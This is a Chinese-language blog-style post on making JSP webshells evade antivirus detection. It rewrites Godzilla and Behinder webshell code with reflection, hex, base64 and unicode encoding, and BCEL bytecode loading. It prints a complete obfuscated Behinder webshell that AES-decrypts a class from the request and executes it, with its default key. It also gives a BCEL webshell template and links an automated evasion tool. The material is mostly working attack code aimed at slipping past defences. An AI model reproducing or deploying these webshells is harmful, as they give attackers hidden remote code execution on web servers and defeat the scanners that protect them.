总结一下JSPwebshell免杀一些小技巧
反射改写免杀
这个很常见,可以将webshell中常见得类加载改成反射来调用,比如冰蝎和哥斯拉:
例子,哥斯拉中原有片段
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
改成反射以后:
String xo = "java"+"x.crypto.C"+"ipher";
Class cl = Class.forName(xo);
java.lang.reflect.Method g = cl.getMethod("getInstance",String.class);
Object c = cl.cast(g.invoke((null),"AE"+"S"));
cl.getMethod("init",int.class,java.security.Key.class).invoke(c,m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return (byte[]) c.getClass().getMethod("doFinal",byte[].class).invoke(c,s);
上面 Object c = cl.cast(g.invoke((null),"AE"+"S"));这行强转的作用是利用多态,invoke函数返回的结果是Cipher对象,为了避免出现cipher关键字,仍然向上转一次变成object对象,不影响使用:
可以不转object,最后再用unicode之类的混淆类名也可以的
冰蝎的话改写也是一样,顺便说下:
这里原本默认冰蝎马init函数的参数是
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
而改为反射,写init函数需要的参数类型时候,是:
cp.getMethod("init",int.class,java.security.Key.class);
第二个参数写的是基类也就是SecretKeySpec这个类的基类java.security.Key.class,而不是javax.crypto.spec.SecretKeySpec
编码混淆免杀
这个也很简单,webshell中容易出现很多常见类加载的关键字,以及反射中也会出现函数名、类名、参数,这些都可以用编码来混淆,使用的时候再解码即可:
常见三种编码方式
ascii hex base64
在线编码地址:http://www.hiencode.com/jinzhi.html
String a = new String(new byte[]{32,104,97,99,107,101,114});
System.out.println(a);
String b = new String(DatatypeConverter.parseHexBinary("676574496e7374616e6365"));
System.out.println(b);
String c = new String(new BASE64Decoder().decodeBuffer("aGFja2Vy"));
System.out.println(c);
在webshell中,先把敏感类和函数调用重写成反射,再把反射中的类名、函数名等用编码形式混淆:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder,java.lang.reflect.Method,javax.xml.bind.DatatypeConverter" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%><%
if (request.getMethod().equals(new String(DatatypeConverter.parseHexBinary("504f5354")))) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
// Class cp = Class.forName("javax.crypto.Cipher");
Class cp = Class.forName(new String(DatatypeConverter.parseHexBinary("6a617661782e63727970746f2e436970686572"))); //javax.crypto.Cipher
//Method gi = cp.getMethod("getInstance",String.class);
Method gi = cp.getMethod(new String(DatatypeConverter.parseHexBinary("676574496e7374616e6365")),String.class); //getInstance
Cipher cc = (Cipher)gi.invoke((null),"AE"+"S");
// Object oj = cp.cast(cc);
Method init = cp.getMethod("init",int.class,java.security.Key.class);
init.invoke(cc,2,new SecretKeySpec(k.getBytes(), "AES"));
BASE64Decoder decoder = new sun.misc.BASE64Decoder();
//(byte[]) oj.getClass().getMethod("doFinal",byte[].class).invoke(oj,decoder.decodeBuffer(request.getReader().readLine()));
//gi.invoke((null),"AES").doFinal(decoder.decodeBuffer(request.getReader().readLine()))
new U(this.getClass().getClassLoader()).g(cc.doFinal(decoder.decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
//Cipher c = Cipher.getInstance("AES");
// c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
// BASE64Decoder decoder = new sun.misc.BASE64Decoder();
// new U(this.getClass().getClassLoader()).g(c.doFinal(decoder.decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
通用编码形式unicode编码
unicode混淆也是老姿势,但是有文章说https://www.anquanke.com/post/id/206664
他的意思说参数值,以及包名中的点不能编码, 但自己测试发现除了jsp标签以及jsp标签中的指令以及包名的逗号不能unicode编码之外,其他都可以:
编码字节码-BCEL
BCEL是一个处理字节码的库
在较高版本的JDK8中BCELClassLoader被删除
在较低版本的JDK中可以使用 BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。
在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。
对指定恶意类生成bcel字节码
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class TestBCEL {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, IOException, InstantiationException {
//读取class文件
JavaClass cls = Repository.lookupClass(bx.class);
String name = "$$BCEL$$"+Utility.encode(cls.getBytes(),true);
System.out.println(name);
// new ClassLoader().loadClass(name).newInstance();
}
}
生成bcel字节码后,在webshell中加载bcel字节码:
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL JSP Webshell</h2>
<%
String bcelCode = "$$BCEL$$XXXXXX";
new ClassLoader().loadClass(bcelCode).newInstance();
%>
</body>
</html>
自动化编码工具
可以把以上的技巧全部写成流程,按模板生成免杀的webshell,已经有工具了
https://github.com/Tas9er/ByPassBehinder4J
反编译以后发现就是固定对冰蝎webshell来进行关键字替换:
还有他写这个sleep没看懂为啥,可以反编译以后把混淆的算法和生成的密码都改了,如下:
效果: